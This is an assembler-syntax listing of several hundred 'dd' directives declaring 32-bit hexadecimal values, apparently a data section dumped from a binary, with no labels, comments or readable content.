		dd 62AAFC21h, 203E271Ch, 321D5E0Bh, 0CFEA65BEh,	6993FB75h
		dd 62B1F1F5h, 9048EA94h, 98864A71h, 62BF009Ch, 4BD1686h
		dd 1B4AF9C1h, 4116D0FAh, 50B735Eh, 10D3C6E9h, 1F55E63Bh
		dd 0B50230Dh, 5420795Eh, 0C3618724h, 0D1DCBCCBh, 3A163C73h
		dd 2D38CB0Fh, 55F94274h, 42F068D4h, 0AEFAD6DDh,	42C842Ch
		dd 0E9C82834h, 806CB035h, 5343F507h, 0DDD587B3h, 1CF52485h
		dd 0ACE7133Ah, 20E9F186h, 281F006Bh, 4CEA80E2h,	3BF55870h
		dd 0A4E453ACh, 7845F2AAh, 7EB62280h, 0B151E6D0h, 0CE30BE12h
		dd 3280712Ch, 2D069DF6h, 15E9CC00h, 0E6FAA81Eh,	0CE810303h
		dd 3E663BB4h, 4CFB0C05h, 97002A16h, 92569073h, 79DC27E9h
		dd 3323B0FFh, 20EEF57Eh, 3865188Ah, 61915995h, 9FCF43E9h
		dd 0C552FD2Dh, 0D5E0E5AFh, 74A23F4Eh, 195E3E00h, 82BD551Ch
		dd 421D2B16h, 0F7A602EFh, 254046DEh, 0A2543CFh,	0FD35604Dh
		dd 57B4264Bh, 3B0D0FE8h, 0E3F07F2Bh, 5B12592Fh,	0D11096D5h
		dd 28C6EB47h, 91688527h, 8EEAAE13h, 98064D4Dh, 93B4E18h
		dd 0D10103A4h, 28085608h, 0AEAA95F6h, 292D5C9Ah, 60345947h
		dd 0FED169E9h, 0A560FBB7h, 0A4E067D5h, 0E2F72615h, 18753DB5h
		dd 9FD9C476h, 59F7603Ah, 0C2222D14h, 5A05FDA0h,	0BE6E84BAh
		dd 0BE2F63B3h, 0E984187Eh, 8CABE718h, 2D0F7ED3h, 12016021h
		dd 0CD066FCh, 0F07D8A78h, 0B6C3A1A7h, 5CFE3D2h,	22E90835h
		dd 6824D973h, 7A25810h,	0DBF721EAh, 0EC2F1B52h,	4782065h
		dd 5D8013A2h, 0BC2C9735h, 154082FAh, 2621B701h,	0EED71633h
		dd 1CA2EA80h, 7BB23D1Dh, 5FE05561h, 0BDE4DF2Eh,	68411778h
		dd 20CFA10Dh, 0B9FEDA55h, 0DDF77218h, 38ECBEh, 22355199h
		dd 0E9276319h, 0E214232Ah, 0B3C5B920h, 8BE00D9h, 467C9E1Bh
		dd 8087E92Dh, 7FFEBD4Bh, 316B2663h, 0CDF40826h,	993B00Eh
		dd 1524FBC3h, 69759121h, 0F0706388h, 391B6A09h,	0C3625F18h
		dd 0A65B0805h, 9F9E1130h, 693F83Bh, 7CF929EBh, 80418FD2h
		dd 0ED20C0C9h, 0E4B09D23h, 5982F6C8h, 7B4B2734h, 0BB7010F2h
		dd 0BFEFB1BCh, 28AB3717h, 7C60C923h, 0B4506616h, 0E1083DF0h
		dd 911B290h, 5C58BD68h,	8106563h, 5FAFD667h, 592904A7h
		dd 80717376h, 752809F4h, 4EC675DEh, 54D1F75Bh, 0FB5EA728h
		dd 0BFE1A689h, 0A01E523Bh, 7966A95h, 13FA4F3Eh,	0AA95FA89h
		dd 3B0EF1EAh, 9396C90Bh, 0F2210310h, 54C734D5h,	3D6C2C02h
		dd 0E889B272h, 2E16ED3Bh, 0C7C5F0Bh, 3485FDDDh,	0FB512581h
		dd 913D6468h, 310E1410h, 0C110A931h, 18A3B900h,	577A3E26h
		dd 84648B02h, 0F1AE4112h, 6F4254A5h, 6BB6456h, 2B1604Dh
		dd 4BE9E618h, 0BF9FC51Ch, 682ED48Fh, 0C5D92FD4h, 70EB5D92h
		dd 350E9D0h, 0D549B4BCh, 33279234h, 20766655h, 517677B8h
		dd 1785D549h, 69B9D7F7h, 0FA21B90Ah, 103109C4h,	0E893F55Ch
		dd 555BE944h, 5A63E9BAh, 840B85FDh, 81A1813h, 4A58F580h
		dd 77BC2DB7h, 0E9595E83h, 45C528A2h, 965F58F4h,	7DF60589h
		dd 641F9326h, 2269A48h,	3461BC44h, 1096BFCh, 0EB807CC7h
		dd 0E94981FDh, 0A2A7E528h, 0D4CA0F7h, 265BAC18h, 166DE3D1h
		dd 1F13014Bh, 2AB75830h, 1735C717h, 0CA2717AFh,	72BF58D0h
		dd 77090440h, 0D87627DEh, 0A5ACFD7Bh, 5E873409h, 5D024174h
		dd 16E97BF1h, 0B75A0840h, 0A50627Ch, 29358061h,	7AD7C05Ch
		dd 694A1925h, 86DCC2E7h, 499FFA2Eh, 0E94C56D7h,	0AD3434Ch
		dd 0ADCBECh, 50F4B849h,	31282EB9h, 0EC25E7E8h, 31A7598Ch
		dd 2BF088D4h, 70685488h, 59422F4Dh, 0B0F593A0h,	52C4C6ECh
		dd 0F7AB14B2h, 5DEA15B7h, 0BEE98398h, 0BA540798h, 0EAD643F0h
		dd 6AC804C5h, 477F880h,	0E8F5AFAh, 90745FAFh, 30B10319h
		dd 0D1CBB753h, 0F9890B2Dh, 0BFC401C6h, 0CF844014h, 0C36B128Dh
		dd 0A4D0508Ch, 4E0D248Ah, 3FA96F9Eh, 0DEB781F8h, 0CEDD11Eh
		dd 8C994A4Bh, 68BFD291h, 99C280BBh, 2051A65Ch, 4B1DBE72h
		dd 7D7B86FDh, 3966C073h, 2172D28Ah, 5632EA7Dh, 5D5C44E4h
		dd 5185FFCDh, 17AB9D68h, 0A0ADA9AAh, 9DF217E9h,	350418E6h
		dd 16B55B78h, 686189EFh, 5B2C4F12h, 90372447h, 87CB175Ch
		dd 4CDF69DEh, 295B0283h, 7F11E9C7h, 2746B0A2h, 868835D1h
		dd 0E5A2D06h, 27F5EB20h, 0DDD6415Fh, 66795303h,	0B5EFB669h
		dd 0E8B093DAh, 2E9C612Fh, 0BBDEBDAh, 0CABA5497h, 5F850C7Eh
		dd 2F4EE99Eh, 0C4432A0Eh, 0F6AB12D4h, 35C34883h, 33F1535Ah
		dd 30D516AFh, 3CF7F6CCh, 21ADFB6Ch, 0C1811245h,	0B3E90CE8h
		dd 5C16A02Bh, 5E9CD797h
		dd 89892BBCh, 4EBAD696h, 0A227EFF2h, 0FEC741E2h, 0DE478CFBh
		dd 0F75A01E2h, 0E9124E9Eh, 4EBBB00Bh, 6673B2C0h, 27C1785Fh
		dd 0CA0207E6h, 6640C5A5h, 2413F7EFh, 0FEE94F3Bh, 3F5E0840h
		dd 70CA46E9h, 3968664Eh, 6AA4784Fh, 0B6520E53h,	0BBCB33Dh
		dd 915F5AF3h, 0EE3A5088h, 4E596968h, 0AE0D245Fh, 0F17CA3FCh
		dd 0CD12AE3Eh, 0C506B3EBh, 66F8831Dh, 5AB509A5h, 530B7E46h
		dd 0F6574A0Dh, 0B0CE873h, 0FC45148Bh, 7696D7AFh, 0A020FD95h
		dd 0C7A27BBh, 0E3C16214h, 0B1F302ABh, 60384C37h, 7EDBD3CFh
		dd 0F6E6C88Eh, 3718552Ch, 826C1DFBh, 74F1E3C0h,	1ACF8603h
		dd 176ACE68h, 40EA3A23h, 276B5565h, 59BC8905h, 79944A09h
		dd 0F4918CCEh, 5A97BA2Ah, 971EF48Eh, 0C3889C05h, 0EFA3C556h
		dd 84D57CD9h, 752C682Ah, 52E828ABh, 5781297h, 40C45EBDh
		dd 9620E281h, 9BC21781h, 3017DB21h, 13176763h, 0AA44E0EBh
		dd 580BE745h, 8C8FFD74h, 5AF637C9h, 6227E982h, 13D744F7h
		dd 0E08EA80h, 0D0056797h, 7189BA5Ah, 5FBDD530h,	0ABAAB430h
		dd 0E4E36B02h, 55E88950h, 34E56140h, 0AC3B5B81h, 682D71BBh
		dd 4A51FAA0h, 5A28038h,	0BC054103h, 2DE8291Fh, 5A5D0701h
		dd 0C37C331h, 0FF59B719h, 2BA83FEDh, 4A203F4Ch,	0AA685812h
		dd 21192ED1h, 5B1FA72Ah, 24EF8812h, 76C50BF1h, 0B90762E4h
		dd 46405A90h, 0FEF565DFh, 0DE130D16h, 2E80231Dh, 0ECFEA81h
		dd 83313BC0h, 0C9E29060h, 63023A6Ch, 0E6DEE953h, 0C39C49FEh
		dd 0F861EF2Eh, 0EC78A9BFh, 0A367B787h, 1405CA83h, 32C8D04h
		dd 818453EDh, 0B647ECC1h, 58DCB718h, 9BE9D630h,	0FDAE9F27h
		dd 0FADEAEE4h, 90811F9Ch, 936D0E55h, 44DA0167h,	0B05F080Bh
		dd 9D15ED97h, 510CDB51h, 0E4D7B7D2h, 0E21497F9h, 21D05A5Fh
		dd 44E963F6h, 60BF4B8Bh, 8219FCFDh, 5C66D8C0h, 0E0495B2Fh
		dd 25619461h, 0A9D521D3h, 7C488386h, 54CDD248h,	51970F2Ch
		dd 0CBE04B8Fh, 20CC6BECh, 4AD40CC1h, 5A793778h,	1913F83Bh
		dd 0AC04071Dh, 0E996B1B3h, 0C1AA4435h, 0EC53C991h, 0D92428DDh
		dd 0BE0BB55Bh, 0B704D8C7h, 94E82A85h, 998EED19h, 913A5D07h
		dd 6EA260h, 1DF602B2h, 44EAC0DAh, 933DF280h, 0A9EFE9Ch
		dd 0D1281B04h, 87F897E9h, 4D3CBE4Eh, 2A6297D2h,	9C64C5FDh
		dd 125BB88h, 14F2DA94h,	8F9DD595h, 4DE9CDB0h, 4D56954Bh
		dd 0AAF9ABE4h, 52D4C327h, 0D4EB27BBh, 0C9E98B5Eh, 0CFFB8FA9h
		dd 0D210B124h, 0DF48BD4Ah, 79330F49h, 476D42E4h, 0FE12C308h
		dd 5B420EA1h, 9F295FBDh, 3AB0E2DFh, 72F1847Bh, 0E5345E1Eh
		dd 0CC1363F6h, 0FDCB7C5Fh, 6F54FEBBh, 925FA5CBh, 1D925CD9h
		dd 5C79C9B7h, 0F50089DDh, 0D1BF5A9Eh, 6FD68855h, 604FE9D0h
		dd 68506441h, 0DEBC6D97h, 0F027FE66h, 403290E8h, 6C413163h
		dd 58E09E03h, 61EF6BCh,	0B0E44B55h, 0F6A4F173h,	0EE7D1800h
		dd 4D0F743h, 31E94048h,	8CB2AFC6h, 8E51BA7Dh, 65A199FBh
		dd 4656FEBAh, 0F7A94013h, 0D03ABC41h, 56D70106h, 0D8410698h
		dd 62BB9300h, 0A2B2D36h, 10D5AF6h, 0B0434C7h, 635BEFA6h
		dd 8EE4C725h, 25B15849h, 58C59BDh, 0AAE72157h, 391469C1h
		dd 680141D4h, 34081CCBh, 9214111Ch, 4FA6BB93h, 0BE97EAD0h
		dd 0E8FADE21h, 40B99741h, 89F95440h, 1F594929h,	0E9545704h
		dd 808BA03Bh, 1215E33Ch, 3161760Eh, 0EB64C845h,	0B23BFDE0h
		dd 0B7A0D63Ch, 0A149FE15h, 81052BF0h, 0DB5C7BF0h, 81D329BDh
		dd 6355BBB2h, 0F2824A41h, 117A7D1Fh, 0FEE2A860h, 46F310B7h
		dd 6FB29192h, 0C91741ACh, 0DF69050Bh, 164CF83Eh, 0BE4CD56Ch
		dd 0E6E05016h, 0EB5E5F08h, 11D6AD60h, 0EB334E0Ah, 77442F56h
		dd 2D21FD0h, 5730C0D1h,	15072518h, 8DD65FE0h, 80E9DD12h
		dd 0AD5ECDECh, 0B7E68096h, 0BD0C276Ah, 0A095B0D2h, 2FFBEA67h
		dd 0A1204F90h, 27BE3BC9h, 0E3829BA7h, 29873163h, 52E55AFh
		dd 1A01ECEh, 0B523E221h, 9DBAEC6Fh, 24BE16CFh, 0FB80A664h
		dd 5C4841F6h, 0A8101D82h, 0F3A04F6Fh, 0E406464h, 2B6BE009h
		dd 0B8B0D250h, 238A800h, 56A70573h, 0DE253h, 0A8D5864h
		dd 0B9B3B42Dh, 27BD624Fh, 0C907B812h, 3DA16FD2h, 0AC45FA2Fh
		dd 83F4CCC9h, 0EDC8BD58h, 6BA0F32Ah, 6A347E2Dh,	19C7AC07h
		dd 4EF62E4h, 82FA89CAh,	14F5ED1Ch, 2A02971Eh, 0E0091777h
		dd 2DEA4C37h, 0C350BE25h, 31F87A12h, 0A8DCD5B0h, 7EABDA3h
		dd 0D1172A5Eh, 0A130C5E5h, 17986BA2h, 6CBB0B2Dh, 885F362Fh
		dd 5E02072Dh, 4C747968h, 61E30376h, 0D2F74AACh,	787DA4F9h
		dd 0C320C444h, 0F0564807h, 7E5D3945h, 0D617DF8h, 286FB128h
		dd 0A426837Ah, 0C4E9169Ch, 50F83710h, 0E17C85Fh, 0A71A1041h
		dd 0A9625DCBh, 5C671875h, 0E97FEF30h, 95E91242h, 0F83880E4h
		dd 0A0474F61h, 0FEE6AAD3h, 870994BAh, 76D24EA0h, 957A2F93h
		dd 0F98707BFh, 0B813FEF9h, 0DF634F5Fh, 0FE29F5AFh, 16054F57h
		dd 0A0DAB85Ch, 976FC868h, 0C0E92DF9h, 53659EBh,	1AE90BCCh
		dd 0BC37AA90h, 744809E9h, 0BD81C969h, 30156DD6h, 0D250EEA0h
		dd 390BED06h, 0FE73E579h, 9F08A0DCh, 50609DFEh,	0B706CCE9h
		dd 74FC9F9Ch, 0ED7E209Dh, 7B73D78Eh, 8A122EB2h,	95AC59Ch
		dd 13A720B9h, 0B4E97FD9h, 2BC12F11h, 0BE371DBAh, 4387EECAh
		dd 0F3EEB052h, 18F5A5B7h, 6014E9EFh, 8BBB4816h,	6C25E521h
		dd 0EB20774Bh, 0C8D564Dh, 183ECBECh, 4DB15E0Bh,	95976F7h
		dd 6CC8632Eh, 4AAA2F80h, 82826888h, 0D159CFC8h,	7F062EEh
		dd 0F6B16E7Dh, 0ACA55F9Ch, 6A5FF2A2h, 0C0F47720h, 0FA2E4C53h
		dd 8C7E0627h, 0BF4A6870h, 85B9CB51h, 148B50F0h,	10F82AFAh
		dd 66057FC2h, 0AF76C1BBh, 0CCE5187h, 0E0C5AD72h, 0F6D577BCh
		dd 17436E62h, 9E7DF2C1h, 0B136EC19h, 6F53D9B7h,	1A2AAFA6h
		dd 744D6812h, 80BA3D34h, 0B02DBB8Eh, 0F7812601h, 41D764ECh
		dd 4FC7BE70h, 0ECAAFFEh, 0F7E3E9C2h, 7D267CE5h,	0A046F42Fh
		dd 815F95CCh, 0A0E9529Eh, 0B559047Dh, 0D074D509h, 32B5E182h
		dd 0E7F72357h, 2EB91371h, 904A6112h, 42BC057Ah,	68DF4579h
		dd 0FA0812BAh, 0F9EA1C49h, 39580858h, 0D00C3231h, 85E58100h
		dd 22316A1Dh, 2008F58Eh, 0EE0115B5h, 15434EE9h,	688204CAh
		dd 0DF4E178Fh, 0D8172E90h, 4881CF3Ah, 5F8120A7h, 64F46C7h
		dd 0F8D77013h, 1BC59012h, 98988AF8h, 7D826897h,	5A4215D4h
		dd 84F190C2h, 72A604FDh, 0FA59C801h, 0FC5F14A4h, 0FFD25B82h
		dd 5197F75Fh, 0E6554A4Ch, 0CAB4442Bh, 0B038500Eh, 25E2C065h
		dd 9022D330h, 0BB864086h, 70F970Fh, 0AB0A491Eh,	2D814D0Ah
		dd 6889325Bh, 0A6D9E7h,	0AE303F2Dh, 0C5483197h,	8C4A71B9h
		dd 92557622h, 6C65F72Dh, 53298F98h, 37071668h, 6BB804AFh
		dd 2DEE169Eh, 0DA33010h, 2CEEB7C0h, 0C13BF644h,	1333270Ch
		dd 0FC8F32Fh, 41409D19h, 0F7FD1428h, 3820A8F4h,	0B7514BEAh
		dd 0A4CC61F8h, 5100970Bh, 291C8E70h, 892D0C5h, 0E8705B2Dh
		dd 4A7E6449h, 6BBB8FEEh, 0A179020Ch, 0EB590411h, 9418A8DCh
		dd 10B2010Ch, 0DFE6CA80h, 9EC2509Fh, 4927E956h,	3D4B53A8h
		dd 40CCD32Ch, 2D40E8D1h, 2B4D1B0Bh, 802142AAh, 0B15A7FEEh
		dd 3AF7970Fh, 94488076h, 9F7EAF4Eh, 3143272h, 7696E646h
		dd 2CD20A02h, 41FE01C4h, 132F0635h, 2538AFB1h, 0A3EF5E64h
		dd 37B00705h, 0F6D2C330h, 0FBE9FC3Fh, 10BF0825h, 0B55FFA1Ah
		dd 9564E0F9h, 0FE4B43ECh
		dd 4926FCAh, 0D5774133h, 489C05ABh, 979EBCA9h, 0A1D84884h
		dd 3802F68h, 65D6D518h,	0C35DA724h, 2C3D6102h, 1502F723h
		dd 0D40BC7BAh, 0D8203BB6h, 4F4D5EB7h, 0AFF68365h, 993A6EA5h
		dd 36BA3EADh, 10A07EEBh, 0B583881Bh, 4884B5E9h,	0C44A0EFCh
		dd 20EEF67Ch, 8054B277h, 0C0D5E204h, 198206EAh,	269CE0BCh
		dd 0F796A870h, 5F791E0Bh, 1644D27Bh, 8059E32Dh,	694E0957h
		dd 0C4ED2DE9h, 76E74220h, 2AED2088h, 2ADB20FEh,	0AB277036h
		dd 2583FE29h, 7C571E77h, 0AF5309BEh, 0BC00460Dh, 5F31EDAh
		dd 0B7740CC1h, 46209D0Ch, 52461711h, 0A59470h, 1ABE5E08h
		dd 324E5914h, 3329E0h, 0B9511D83h, 7F9350B0h, 0FE38699Fh
		dd 0B05F921h, 0FB0E0104h, 0F1DB28FDh, 24B554F1h, 0BC24FF7h
		dd 413E05ADh, 0C0612D7Bh, 0A41AAC7Eh, 442BE400h, 13515809h
		dd 9816855h, 0E6826A48h, 0F601491Fh, 0CDE180D1h, 3F20CCC1h
		dd 9DBC5E50h, 11F4429h,	64CA5584h, 0D5F520A5h, 975BC240h
		dd 1F07ECF3h, 759280Ch,	70A9E98Fh, 0AA4897D6h, 70829CF1h
		dd 0EF6CB78Bh, 2AAC35Bh, 31F7E9FCh, 0CA31207Dh,	584143E3h
		dd 0BD059415h, 0FB2F8061h, 0F5C67F4h, 8BBA5253h, 817AC660h
		dd 72179CF2h, 0C8094484h, 0DE6D2E7h, 10323DDCh,	2612D878h
		dd 0C1DC2161h, 0E28303EEh, 4C972B18h, 0E82CCEB1h, 0E9182084h
		dd 6844F9FAh, 344F580Ch, 2C8906D2h, 2D4E86E0h, 0BD3610BBh
		dd 72608600h, 0EE38118h, 0FC71792Dh, 0E8840E62h, 5250A5ABh
		dd 203BD0B5h, 769C7D16h, 0A1EEEF12h, 0CF328128h, 1FF57F6Bh
		dd 301E0CA8h, 0FC267D31h, 744BF71Ah, 8356EFh, 57C96073h
		dd 6A9DDCE9h, 0FF95D1Dh, 0DD5DEF89h, 0F78E8EC7h, 0E16862F1h
		dd 58FB555Ch, 0FEB41105h, 196CB6EFh, 2968C52Fh,	5910AC2Ch
		dd 0D0F7007Fh, 0AF9A0A05h, 0B0015850h, 2BB3CD5Fh, 1674BCB8h
		dd 0F80DBA29h, 0F1AE4B6h, 274EF07Eh, 0CA4E45B0h, 2E8752B5h
		dd 8F9C0A89h, 0E32023B3h, 0B1515003h, 8206860h,	76ABF180h
		dd 0C9FE3BD0h, 88A8C18Bh, 0E0C05781h, 0BB6EF04h, 0CC012C24h
		dd 0D10CC20Ch, 888B4D8h, 692F30C9h, 807ACB88h, 511A6D53h
		dd 2264048h, 0F2E95502h, 0F446DD85h, 79A6463Ch,	6237799Fh
		dd 0AF89B362h, 5B08902h, 5618C70Ah, 0B5846819h,	6AB05E69h
		dd 0DB8B3E1Eh, 69375971h, 60A77175h, 6335B6BEh,	0F4E96E17h
		dd 0F452D5A0h, 4299A01Eh, 5BDE0608h, 699F680h, 0F0208F01h
		dd 2CC0FE5Ah, 3BD01630h, 0EF12BE04h, 86E84628h,	0B0258D8Bh
		dd 20FC6623h, 0B9030983h, 5DE855A5h, 1BC3DFD1h,	6033131Eh
		dd 2A92E379h, 7CFAB618h, 0FF972A70h, 0E905A595h, 0AB53546Fh
		dd 0F2DD0BFFh, 270045DDh, 7C46BA75h, 0AE5252F2h, 0FF49CC10h
		dd 0BF4EA094h, 0F7FB5C12h, 15AD4F4Dh, 1F274294h, 55C9A8F9h
		dd 5C76227Ah, 0FEB26A17h, 59357389h, 0F6FAE3F1h, 53B7BB88h
		dd 458F1CEh, 2CE8C02Eh,	15A5F0E9h, 405C12B7h, 1D6E53EEh
		dd 895D42F9h, 0B0774BD4h, 3B1181CDh, 5717783Ah,	0F193045Dh
		dd 0EFC10220h, 1464C008h, 54593246h, 0ED22411Ch, 537E5D03h
		dd 9AEB255Ch, 3FC6E869h, 0F01981A9h, 7566D2BFh,	46D2FACFh
		dd 0CD2CB009h, 0A5787D64h, 0AE090882h, 2716955Dh, 762595FCh
		dd 0B4E97888h, 25D59F5Bh, 2A79F1EBh, 6B7848B4h,	33781C1Ah
		dd 3A396812h, 599BDBCCh, 5C485BB1h, 0D927FB4Bh,	240FA4Bh
		dd 0DB8B9DF5h, 888AEF21h, 8B56A5EEh, 9BD4F95Bh,	0E1D4BC3Eh
		dd 892FDBF3h, 44C60279h, 499BF45Dh, 226D0371h, 277D63DCh
		dd 0F9EE6C48h, 429C0C82h, 4C755020h, 0A800865Ah, 0D004F52Ch
		dd 0D2EDC828h, 6EA2FF60h, 19E91684h, 9FFEB85Bh,	64A662D7h
		dd 10D80115h, 5BE1445Ah, 552D092Fh, 0D6976650h,	0EC1A58AEh
		dd 9772FBB5h, 86C8EE50h, 64464B04h, 0BA41C529h,	48CF2BC8h
		dd 0AD8129FBh, 92F5C2Eh, 0C2840805h, 7EAFB8BBh,	98D696B5h
		dd 5AC1B2E4h, 0A71DBC5Eh, 7BF16DF5h, 8751E22Bh,	12056851h
		dd 793531EFh, 20E206E8h, 0F7261956h, 0CF02C2D5h, 55653F71h
		dd 114A86C6h, 9A6FB2E1h, 5DF65EC3h, 24A5624h, 34553DD7h
		dd 1C0E242h, 460082E7h,	0E9474E43h, 0B7FEC96Eh,	0F4697276h
		dd 4B7A9C1Dh, 1E516E14h, 0AB5CBA02h, 8EC25D0Bh,	0F75A97D4h
		dd 0E14F87CCh, 261888BAh, 0F5862346h, 2D4B88AFh, 50349E9h
		dd 732543C7h, 2E5C8CBh,	0B6A1E907h, 0C01B1A57h,	58C679C8h
		dd 825AB41h, 8840A601h,	0D6F71110h, 839F1E00h, 730B904Dh
		dd 1E7CE84Ch, 3CFC6806h, 8CEA4B01h, 0A231E925h,	0C3306C26h
		dd 0C274EA2Bh, 5A218EEAh, 6D9C7CBFh, 81A4CA4Ah,	0A22D5B38h
		dd 0F8211217h, 0ED5FCDE2h, 8A42106Dh, 1BF95E25h, 258A56A5h
		dd 73599FC8h, 15FA0182h, 2FD6B442h, 0AFA4A7C5h,	0F0D20645h
		dd 0F39A9F35h, 0C322B770h, 94D76E08h, 7654C86Dh, 0EA443017h
		dd 8000282Bh, 672CE0F5h, 16F845B0h, 8418AD69h, 0CBAE1487h
		dd 6206423Fh, 0FFDA84A2h, 0F730A394h, 0DBEB1785h, 0EC382740h
		dd 0C1B07670h, 90E5535Eh, 4F512540h, 2E5EC29h, 46F81665h
		dd 0BFD015E9h, 88F3B71Eh, 90935B9Eh, 87080B53h,	5982A75Dh
		dd 0B1C9D9DBh, 4BCA28C2h, 0C18C6EBh, 71741003h,	2DD32941h
		dd 9A74157Eh, 0B4F4912Dh, 59E093Ah, 0D4462B5Fh,	0BCAE0DE5h
		dd 886D0673h, 29D6E20h,	0CD202D48h, 66E0A1B5h, 1F2572C3h
		dd 82E9721Eh, 2B784208h, 111DCF7h, 1150CEBDh, 0AA91F463h
		dd 5DEF1BC9h, 5E27D347h, 56328CDCh, 66584C8Fh, 0A70BDE01h
		dd 5A2D7C63h, 507C0BDDh, 955BE41Eh, 0F74B5AF6h,	4F9CC403h
		dd 0CBE3C7CDh, 81560284h, 93374B0Fh, 30AE1E6Bh,	0A5B15175h
		dd 66D1F600h, 28E5B652h, 0C35AECF1h, 0EF8EE910h, 5B246549h
		dd 43997DB4h, 285D780Dh, 2BBB8067h, 0B769E46Ch,	0DA809C70h
		dd 7205C0ACh, 114E948h,	0C39AEA4h, 4E7E8C3Dh, 7C005F0Eh
		dd 0F5317265h, 5BD5B8E9h, 7E8399FEh, 5A0B5700h,	0BF25684Ah
		dd 0C04D79DAh, 0C8A370E0h, 0ED80E181h, 22E92010h, 75E05681h
		dd 12679DCDh, 1CD6531Fh, 0A6EA70C4h, 6DBAD245h,	62AB3E4Dh
		dd 0C57D5669h, 0AF844956h, 95E04B8h, 4D258CC0h,	625C0035h
		dd 6D719605h, 895DE979h, 0E3B01D4Fh, 7AAE88C9h,	0AC6ABDD1h
		dd 7E5D9862h, 0CB987435h, 372C3541h, 0F9F65CB0h, 0DE9EE912h
		dd 0BEC8DA4h, 21620B7Fh, 0F61180DDh, 2D765EC4h,	0A9F08915h
		dd 2A993020h, 0F482D301h, 0B6FD5AD8h, 0DA727F83h, 5B5A2A18h
		dd 244748h, 97112539h, 6168D231h, 17D1E69Dh, 91ABDAE9h
		dd 0ADAA27B7h, 0BA35C365h, 6B6E4857h, 0AFA3913Dh, 0AFF219F0h
		dd 53BE2A60h, 1626020Fh, 90CD25E9h, 3D1B6B49h, 0D5310830h
		dd 0B8F2DC6h, 0E2E9A739h, 3B5B5D41h, 7A0579FAh,	104B4203h
		dd 9D560460h, 0C03CFB56h, 3A087788h, 5CC37F48h,	0E6BE0EB3h
		dd 0BFAC7714h, 0A6757B04h, 236E8034h, 114BED78h, 0DF12C31Dh
		dd 0F684BCACh, 4EC489F1h, 0D4AC5B2Dh, 805A6694h, 45B9B851h
		dd 0BD147724h, 0FC1C013h, 0C3DCF120h, 8E7BEFB7h, 845148C0h
		dd 5E0950A8h, 5314B459h, 4A4200DCh, 8B9F281h, 0E94E0510h
		dd 0EFFEB185h, 0CA48C28Eh, 0B3D75E7Bh, 0B7965FB7h, 62B8000Ch
		dd 0E9506B1Dh, 49C0FE49h, 8814A7C7h, 544FF64Ah,	4ADCF30Fh
		dd 4E6E331Dh, 215F992Eh, 0B5DC093Ch, 79C5DFFEh,	3C13D527h
		dd 0C8699208h, 0BA824FEh, 0BDC85E19h, 8F25ADB7h, 9007FD34h
		dd 0CAA1BEC6h, 403A2554h
		dd 0C2D72BCh, 11A84E4Eh, 8951E9A0h, 8EC24BC0h, 0EC184625h
		dd 76A60BCAh, 260B1923h, 7F63F802h, 0C6DFFE57h,	1707B256h
		dd 2CE95F4Ch, 0A12AA2FDh, 0F4EC2A60h, 0AAD8EFA5h, 0B2C55540h
		dd 0FDC9177Fh, 0E1E0405Dh, 6157FFAAh, 0B13C2124h, 59FF005Eh
		dd 0E07ED92Dh, 0D2163AE5h, 9FC87C04h, 5EF12902h, 61E46C40h
		dd 0C5DA9250h, 0EEA8AA0Bh, 52C2DF47h, 14D22D5h,	0D150E1C8h
		dd 3F143301h, 0C33FCCCDh, 0CBF2698Fh, 5ADF875Dh, 4A2AA5F2h
		dd 0E2C5F434h, 59DFD382h, 0BE9F0CB1h, 77ECE649h, 0C86A0D2Fh
		dd 78158D6Ah, 0B8C99508h, 0E6067A56h, 9004DEF6h, 0B1DD2D1Fh
		dd 80B24020h, 0D3FCB8C3h, 0D25A7598h, 0A1B50BE8h, 0DDB83F99h
		dd 9CCFC5Bh, 5711685Eh,	27F20366h, 537EF401h, 0A63F4CBBh
		dd 8DD8013Ah, 3F0A332Eh, 2F333B4h, 617B31CEh, 0AB80DBF7h
		dd 447D14DFh, 0C213D283h, 0C543DDB1h, 7BBDC476h, 858B15FEh
		dd 0E7430B2Fh, 0AD0761ABh, 5523ADFCh, 52455310h, 2E320E33h
		dd 73C6C64h, 32564441h,	0D984950h, 4CFC544Eh, 7A0A54E3h
		dd 0B6E9C301h, 680A020Bh, 5FBDBF2h, 61A46B41h, 0DCC6E822h
		dd 4F3615C8h, 2C90DE68h, 48E00884h, 22814422h, 0E1D21018h
		dd 42080E89h, 8804E244h, 0B53F5C83h, 87880B8Fh,	0BB648055h
		dd 0F27D5E89h, 49710054h, 75AC86BEh, 617FA646h,	59B21C00h
		dd 709944A3h, 0C42901CCh, 88319349h, 9AAAF8CBh,	0BA2F2300h
		dd 26E708EFh, 54FA00AFh, 35A8F1DEh, 0A60E45A3h,	4EB77263h
		dd 631E3C7h, 0A004882Ah, 3AA17D8Eh, 2F87FC9Ch, 210732EFh
		dd 0ECCB5821h, 2800D523h, 0FB043506h, 1737CEh, 76E82E34h
		dd 7FDB4DFDh, 46725A00h, 0A86BBF8Fh, 80AD1D41h,	0BC80FED3h
		dd 0F625124Fh, 0CA383183h, 0CE030243h, 0D59522C7h, 23695900h
		dd 0BB0087A4h, 0D5431F2Fh, 72AD548Dh, 6D600012h, 2CB79ABCh
		dd 4900C2E6h, 4732E118h, 0F3DD071h, 0BF37D7C4h,	0D5E217A0h
		dd 0A27A13F6h, 23413C30h, 3908C1BEh, 270707E6h,	0DC0C47F2h
		dd 3126EE1Dh, 1E00F9DBh, 0F5191CD1h, 4F0903Bh, 0B9BCAB41h
		dd 9243C010h, 1300E02Dh, 5ECAA266h, 5AAA8BA4h, 9A67B0EBh
		dd 22DA3700h, 50F41BC3h, 0C04318A5h, 0A84F3F1Ch, 2116447Eh
		dd 0C6098E03h, 0DD94801Eh, 1CCFF62Eh, 18E71DECh, 2BCC10DFh
		dd 0E98DF02Ah, 0A3650A12h, 818CF100h, 90617E6Dh, 389F000Ch
		dd 0AE5B8239h, 0B714DF46h, 72ED7B9Bh, 998E13Ch,	152995h
		dd 0D60C9A72h, 5AA9012Bh, 0C4B5661Ah, 0E220A8EAh, 68207007h
		dd 8870CAF4h, 800924h, 0DFF9F798h, 0A017E24Fh, 3C9D4000h
		dd 0DC15C4C9h, 0C3F43Ah, 862F91D4h, 0C66C6099h,	4863BA00h
		dd 0D562F46Ah, 0D40300EAh, 0FCAD20E9h, 2A000F35h, 9C1801A2h
		dd 1D912455h, 70D2AB68h, 0BC524FE6h, 7B8E2D00h,	779239C6h
		dd 6B0E00D7h, 8F9F6854h, 713F7F60h, 23308328h, 0A099A65Ah
		dd 0C22AD7h, 6A55862Dh,	53068784h, 8E3D9E00h, 74B0F019h
